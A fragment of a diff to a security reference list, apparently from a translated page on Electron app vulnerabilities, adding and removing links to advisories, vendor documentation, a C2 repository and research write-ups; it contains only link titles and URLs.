GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674) +- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908) - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) @@ -550,7 +576,6 @@ Otkrivanje i ublažavanje - [Loki C2](https://github.com/boku7/Loki/) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model) - - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)